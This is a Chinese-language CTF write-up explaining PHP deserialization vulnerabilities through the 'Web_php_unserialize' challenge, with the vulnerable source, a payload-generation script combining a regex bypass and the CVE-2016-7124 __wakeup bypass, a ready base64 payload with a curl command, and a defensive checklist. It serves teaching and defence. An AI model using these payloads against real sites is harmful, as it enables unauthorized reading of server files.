ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

PHP反序列化漏洞入门:Web_php_unserialize题目实战拆解

PHP反序列化漏洞入门:Web_php_unserialize题目实战拆解 第一次在攻防世界看到“Web_php_unserialize”这个题目名我就知道这道题不会绕什么复杂逻辑考点直接写在脸上PHP反序列化漏洞。它算是CTF Web方向里最经典的入门题型之一几乎每个刷过题库的人都和它打过照面。题目本身不复杂但想一次拿flag你得把三件事同时搞定看懂源码里的魔术方法调用链、绕过正则表达式对序列化数据格式的过滤、再绕过__wakeup的“中途劫持”。这套东西搞明白之后你以后遇到任何反序列化题目都会觉得思路通畅所以非常值得静下心来拆一遍。这篇文章我会从序列化原理讲起然后照着这道题的源码一步步构造利用链最后把我在实际调试中踩过的坑和几个排查技巧一并放出来。适合刚接触CTF的Web方向新手也适合想系统理解PHP反序列化漏洞的开发者。1. 反序列化漏洞到底是什么先搞懂序列化与魔术方法1.1 为什么需要序列化对象不能直接塞进Cookie和数据库很多人第一次接触反序列化的时候脑子里最大的疑问是PHP为什么要把好好的对象变成一串字符串这就要从对象的存储和传递说起了。程序运行的时候对象是存在于内存里的一组数据结构由属性名、属性值、类名等信息组成。内存里的东西没法直接存进数据库字段、没法直接塞进Cookie、也没法直接写进缓存文件。你需要一种“把对象拍扁成字符串”的手段等用到的时候再把它恢复原状。serialize()负责拍扁unserialize()负责恢复这一来一回就是序列化与反序列化的本质。序列化后的字符串有很明确的格式比如一个简单的用户对象class User { public $name admin; public $is_admin false; }序列化之后大概是这样的O:4:User:2:{s:4:name;s:5:admin;s:8:is_admin;b:0;}拆开看就是对象名User长度4属性个数2然后依次列出每个属性的类型、名长度、名、值类型、值长度、值。这套格式看起来啰嗦但好处是机器能精确还原坏处是——它把对象内部的所有属性、包括你本来不打算给外部看的属性全都暴露在了字符串里。序列化本身没有问题问题出在“反序列化谁说了算”上。如果传给unserialize()的数据来自用户输入攻击者就可以自己拼一段序列化字符串构造一个内容完全可控的对象。这个对象一旦被还原类里定义的方法就会在某些时机自动执行这就打开了潘多拉的盒子。1.2 魔术方法反序列化流程里的“危险开关”PHP类里有一类特殊方法名字以双下划线开头不需要你主动调用PHP会在特定时机自动触发。这类方法被称为“魔术方法”它们也是反序列化漏洞的导火索。跟反序列化关系最密切的魔术方法有这么几个魔术方法触发时机常见危害场景__wakeup()对象被unserialize()还原时立即调用常常被用来做属性过滤或重置攻击者想绕过它__destruct()对象被销毁时调用经常执行文件操作、命令执行、输出等危险逻辑__toString()对象被当作字符串使用时调用可被echo、字符串拼接、file_exists等场景触发__call()调用不存在或不可访问的方法时触发常用于构造POP链跳板__get()读取不可访问属性时触发同上拿Web_php_unserialize这道题来说源码里几乎一定会出现一对组合__wakeup负责在你恢复对象时做一些安全检查__destruct负责在你把对象销毁时执行某个敏感操作。攻击者要做的事情就是想办法绕过__wakeup里的检查让__destruct里的敏感操作拿到自己想要的值。为什么说魔术方法是“危险开关”因为它们的执行是PHP框架层面的自动行为开发者在写代码时可能只想着“对象销毁时顺便输出一下文件内容”没想过这个对象有可能是攻击者手工拼出来的“畸形对象”。自动触发属性可控这两个条件凑在一起漏洞就出现了。1.3 漏洞根因不可信数据交给unserialize之后会发生什么很多人会问难道PHP开发者不知道不能把用户输入直接给unserialize吗知道但现实是很多老代码就是这么写的尤其是对序列化格式做了“看起来还算严格”的过滤之后开发者会产生一种虚假的安全感。unserialize()执行时具体会发生这么几步解析序列化字符串里的结构信息比如类名、属性个数、属性名和属性值。根据类名去查找当前脚本里是否包含这个类的定义。如果类存在就实例化一个对象并把字符串里的属性逐一赋值给对象。赋值完成后如果类里有__wakeup()立即调用它。脚本结束时或者对象引用计数归零时如果类里有__destruct()调用它。关键在于第1步和第3步类名是字符串里写死的属性名和属性值也是攻击者完全可控的。哪怕类本身的代码逻辑没有任何直接漏洞只要类里有一段“看起来能利用”的魔术方法攻击者就能把属性和方法拼成一条利用链让代码按自己的意愿执行。这就像你把一盒零件和一本装配手册交给了攻击者零件本身都是合格品但攻击者可以照着手册重新拼出一台危险机器来。PHP反序列化漏洞最大的迷惑性就在于此漏洞点往往不是一个明显的危险函数而是多个正常的类方法被攻击者以意想不到的方式串联了起来。2. 拿到题先别急审计入口与梳理POP链的几个关键动作2.1 先找到可控点谁把参数传给了unserialize做反序列化题的第一步永远是找到可控入口。Web_php_unserialize这道题打开页面一般就能看到源码核心逻辑通常长这样?php class Demo { private $file index.php; public function __construct($file) { $this-file $file; } function __destruct() { echo highlight_file($this-file, true); } function __wakeup() { if ($this-file ! index.php) { $this-file index.php; } } } if (isset($_GET[var])) { $var base64_decode($_GET[var]); if (preg_match(/[oc]:\d:/i, $var)) { die(stop hacking!); } else { unserialize($var); } } else { highlight_file(index.php); } ?看到这段代码先别急着想怎么构造payload按顺序梳理可控点$_GET[var]是唯一的外部输入经过base64_decode()解码。解码结果会通过preg_match(/[oc]:\d:/i, $var)检查。如果检查通过字符串会直接进入unserialize()。所以可控点非常明确你要提交一个base64编码后的序列化字符串这个字符串解码后不能在开头出现类似O:4:或者C:4:这样的纯数字形式因为会被正则拦掉。这就引出了第一个需要思考的问题正则到底拦的是什么又该怎么绕2.2 再找可利用的魔术方法从__destruct往下推源码里出现了Demo这个类属性是private $file魔术方法有两个__wakeup()和__destruct()。先看__destruct()function __destruct() { echo highlight_file($this-file, true); }这简直是把“读文件”三个字写在了脸上。如果能控制$this-file为flag.php对象销毁时就会用highlight_file()把flag.php的源代码高亮输出。为什么用高亮而不直接读因为CTF的flag文件里往往是PHP代码直接读取可能被当作HTML渲染掉highlight_file()能把源码原样展现出来方便我们拿到flag。再看__wakeup()function __wakeup() { if ($this-file ! index.php) { $this-file index.php; } }这个方法是“拦路虎”。每次反序列化对象时它都会先执行一遍如果你传的属性不是index.php它就把file改回index.php。也就是说就算你在序列化字符串里写了flag.php只要__wakeup正常执行__destruct读到的也是index.php。所以这道题的解题链条非常清晰构造Demo对象让private $file flag.php。反序列化时绕过__wakeup()不让它把file改回去。对象销毁时__destruct()读出flag.php。同时还要保证整个序列化字符串能过正则检查。这个利用链在反序列化题目里有一个专门的名字叫POP链从入口点出发通过魔术方法之间的调用关系把可控属性一步步导向危险函数。这里的POP链很短代码审计一眼就能看穿但复杂度高的题目里POP链可能横跨好几层类。2.3 正则过滤与编码解码题目最常见的“卡脖子”环节这道题的正则写的是preg_match(/[oc]:\d:/i, $var)它的意思是匹配o或c不区分大小写、冒号、一个或多个数字、冒号。这个模式专门针对PHP序列化字符串里最开头的对象声明和类声明。正常情况下序列化一个Demo对象的开头是O:4:Demo:1:{...}其中O:后面直接跟数字4正好命中正则[oc]:\d:于是unserialize()根本不会被执行。常见的绕过方式是在数字前面加一个号O:4:Demo:2:{...}正则里的\d只能匹配纯数字4里包含了加号整个模式就匹配不上了。而PHP的unserialize()在解析序列化字符串时恰好允许数字前面带正号。也就是说O:4:Demo:...和O:4:Demo:...在PHP眼里是等价的但前者能绕过正则。这个技巧在很多题里都能用到属于反序列化绕过的“万金油”操作。另一个常见的正则绕过思路是利用大小写但这里/i修饰符已经忽略大小写了所以不能靠改大小写得靠格式层面的变形。至于base64编码它在这里承担了双重作用。源码里先用base64_decode()处理参数这给了我们一个传递不可见字符的通道。因为private属性在序列化时会在属性名前加上不可见的\0字符直接拼URL参数时非常容易被截断或转义经过base64编码后就可以安全传输了。3. 手写payload全过程从本地构造到远程打flag3.1 本地环境准备用同版本PHP做验证远程环境不一定能直接调试所以我习惯先在本地搭一个和题目一致的PHP环境。用PHPStudy、XAMPP或者Docker都行关键是PHP版本要尽量和攻防世界这道题的版本保持一致因为后面的__wakeup绕过跟PHP版本直接相关。我本地用的是PHP 5.6跑起来的效果最好因为这道题用到的CVE-2016-7124漏洞在老版本上是稳定触发的。如果本地PHP版本太高很多利用手法会失效反而不利于理解题目。不过也别太纠结版本高版本下你也可以通过注释掉__wakeup调用来模拟老版本环境重点是先把利用链跑通。在本地准备一个和题目一模一样的index.php然后直接写一个独立的payload生成脚本每次调试只需要改脚本里的属性值重新生成base64字符串效率会高很多。3.2 构造序列化对象警惕public/protected/private的格式差异Demo类的file属性是private这个细节决定了序列化字符串的属性名格式和普通属性完全不同。先上一个对比表属性类型序列化格式说明publics:4:file直接写属性名protecteds:9:\0*\0file属性名前有\0*\0privates:10:\0Demo\0file属性名前有\0类名\0这里的\0是字节意义上的NULL字符不是字符串\0。它占了真实的一个字节所以在计算属性名长度时要算进去。\0Demo\0file这串字符里\0是1个字符Demo是4个字符再加一个\0最后file是4个字符总长度141410所以写成s:10:\0Demo\0file。很多人第一次写private属性的payload时都会忘掉这两个\0导致序列化格式不正确反序列化直接失败。更稳妥的做法是直接在PHP脚本里用serialize()生成字符串让PHP自己填充这些不可见字符避免手算出错。本地生成payload的脚本可以这样写?php class Demo { private $file flag.php; } $obj new Demo(); $payload serialize($obj); echo $payload, \n; echo base64_encode($payload), \n; ?脚本里把$file赋值成flag.php然后序列化。变量输出后你会看到类似这样的东西O:4:Demo:1:{s:10:Demo file;s:8:flag.php;}等等这里有个坑直接echo一个包含\0的字符串终端可能会把\0显示成空格或者根本不显示看起来像是s:10:Demo file。别被这种显示效果骗了实际字节里是有的。如果你把这段字符串复制出来手动改很容易丢失\0。所以生成payload的过程一定要让PHP自己处理别跳出手工复制。在攻防世界这道题的场景下直接序列化得到的是O:4:Demo:1:...而这个格式会被正则拦住。所以接下来要做的两件事是改开头的类名长度数字让它变成O:4再改属性数量绕过__wakeup。3.3 绕过__wakeupCVE-2016-7124属性数量绕过__wakeup的绕过利用的是CVE-2016-7124漏洞描述是当反序列化时如果序列化字符串中表示对象属性个数的值大于对象实际的属性个数PHP就会跳过__wakeup()方法的执行。这个判断发生在PHP解析对象头部的属性数量时。正常构造的对象属性数量是1对应O:4:Demo:1:{...}。如果我手动把1改成2甚至更大让PHP认为这个对象有2个属性而实际检查属性体时发现只有1个属性在存在漏洞的PHP版本中__wakeup就不会被调用。利用这个特性我们的payload变成了O:4:Demo:2:{s:10:\0Demo\0file;s:8:flag.php;}这里同时完成了两件绕过类名长度数字4变成了4绕过了正则/[oc]:\d:/i。属性数量从1改成了2绕过了__wakeup()。改了之后__wakeup不执行对象里的file属性保持为flag.php等脚本结束对象销毁__destruct就会去读flag.php。需要注意的是这个绕过在PHP 5.6.25以下、PHP 7.0.10以下版本才生效。攻防世界这道题的PHP版本正好踩在这个漏洞区间内所以能用。如果你在自己环境里测试发现绕不过去第一件事就是检查PHP版本别对着代码发呆。3.4 完整利用链从生成payload到curl提交现在把串起来的完整payload生成流程写出来。建议写一个独立的PHP脚本一步到位生成最终要提交的base64字符串?php class Demo { private $file flag.php; } $obj new Demo(); $payload serialize($obj); // 1. 绕正则把 O:4 改成 O:4 $payload str_replace(O:4:, O:4:, $payload); // 2. 绕 __wakeup把属性数量 1 改成 2 $payload str_replace(:1:{, :2:{, $payload); // 3. base64 编码方便URL传输 echo base64_encode($payload), \n; ?脚本输出一长串base64字符串类似TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ这个值可以直接拼到URL里http://目标地址/?varTzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ用curl测试时我习惯把payload写在变量里避免一些特殊的shell字符干扰payloadTzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ curl http://目标地址/?var${payload}响应里如果出现了flag.php的高亮源码说明整个利用链打通了flag就藏在源代码里。我本地实测的时候会顺手打开调试模式在PHP脚本里加一行var_dump输出反序列化之后的对象状态确认file属性确实是flag.php逻辑更直观。4. 刷题与实战中的坑常见问题排查和防御建议4.1 远程不生效的五个常见原因一个payload在本地测试通过、贴上远程却不生效这种情况在CTF里太常见了。根据我踩过的坑按出现概率排序原因基本是下面几个第一private属性里的\0字符在URL传输时丢失。如果你没有对payload做base64编码而是直接把原始序列化字符串拼到URL里\0很可能被当成控制字符处理掉。解决办法很简单统一用base64编码后再提交。第二正则绕过没有做彻底。str_replace(O:4:, O:4:, $payload)只替换了O:4:这个具体形式如果类的长度不是4你可能需要手动调整。另外如果正则后来更新成了/[oc]:\?\d:/i这种更严格的模式4也绕不过去了得另想他法。所以做题前一定要重新读一遍正则可以放行的格式。第三__wakeup绕过失败。最常见的原因是目标PHP版本太高CVE-2016-7124已经修复了。这种情况你需要换个思路比如寻找别的POP链或者利用字符逃逸来绕过过滤而不是死磕属性数量。第四属性数量改过头了。有时候为了绕过__wakeup把数量从1改成2没问题但如果你改成3、4甚至更大虽然漏洞同样触发后续的属性匹配可能会报错导致无法正常反序列化。第五目标站点的flag文件名不是flag.php可能是flag.txt、f1ag.php之类的变体。如果payload打对了却什么都没读到可以试试目录扫描或者读取index.php源码确认线索。4.2 调试反序列化题的工具与套路我对这类题目的调试套路很固定分享给大家参考。本地一定要准备一个和题目版本一致的PHP环境然后写一个调试脚本把整个流程拆开看?php class Demo { private $file index.php; function __destruct() { echo highlight_file($this-file, true); } function __wakeup() { if ($this-file ! index.php) { $this-file index.php; } } } // 从GET参数接收模拟远程环境 $var base64_decode($_GET[var] ?? ); echo decode: , $var, \n; var_dump(preg_match(/[oc]:\d:/i, $var)); if (preg_match(/[oc]:\d:/i, $var)) { die(stop hacking!); } else { $obj unserialize($var); var_dump($obj); } ?关键点是var_dump。反序列化不触发、属性被篡改、格式错误导致返回false这些问题的具体原因在var_dump面前一目了然。比如返回false就说明序列化字符串格式不对优先检查属性名的长度和\0字符。我还习惯在payload生成脚本里输出每一段的变化比如序列化原始字符串、绕过正则后的字符串、绕过__wakeup后的字符串、base64编码结果四行输出对照着看。只要这四步都正常payload基本就不会有问题。4.3 给开发同学的反序列化防御清单打完CTF别急着跑反序列化漏洞离真实开发并不远。很多PHP老项目里都有把对象序列化后存Session、存Cookie、存缓存的逻辑一旦入口数据被用户控制就是一枚定时炸弹。作为开发者防御反序列化漏洞至少要做到这几点第一永远不要对用户输入直接调用unserialize()。哪怕你做了正则过滤、做了base64解码后的检查都不要信。攻击者绕过过滤器的能力远比想象中强过滤逻辑本身可能就是漏洞的一部分。第二如果业务必须用unserialize()请用第二参数限制允许反序列化的类unserialize($data, [allowed_classes [User, Order]]);这样PHP只会实例化白名单里的类其他类名一律被当作不存在的类处理能有效切断大部分POP链。第三优先用json_encode()和json_decode()替代PHP序列化。JSON格式虽然丢失了类信息但绝大多数业务场景根本不需要在存储和恢复时保留完整的对象类型用一个数组或DTO就够用了。比如存Session用户信息完全可以存一个关联数组没必要序列化整个对象。第四及时升级PHP版本。PHP 7.0.10、5.6.25以后__wakeup绕过漏洞已经被修复很多老版本上的利用链在新版本上会直接失效。第五代码审计时重点排查魔术方法里的危险函数。__destruct里出现file_get_contents、eval、system、unlink这类函数和__wakeup里出现文件路径拼接逻辑都要重点标记。危险函数本身不是问题但和可控属性组合起来就是漏洞。最后说两句实操体会这道题我前前后后刷过好几遍每次带新人入门Web安全知识体系时我都会把它当成第一节反序列化实战课。因为它把反序列化漏洞最核心的三个知识点压缩在了十几行代码里序列化格式解析、魔术方法触发、正则绕过手法。搞懂这道题再看那些动辄几十层类的复杂POP链你至少不会慌知道该从哪里下手、每一步在绕什么。我个人在实际操作中还有一个不算技巧的技巧遇到反序列化题先把题目给的类代码原封不动复制到本地然后自己写一个“无害版”的利用链比如先试着让__destruct读取一个不存在的文件看看错误信息能不能正常返回。这个动作能帮你确认反序列化是否成功、魔术方法是否触发是整个调试过程的地基。把这步做好后面加参数、绕过滤、改版本都是水到渠成的事。
返回列表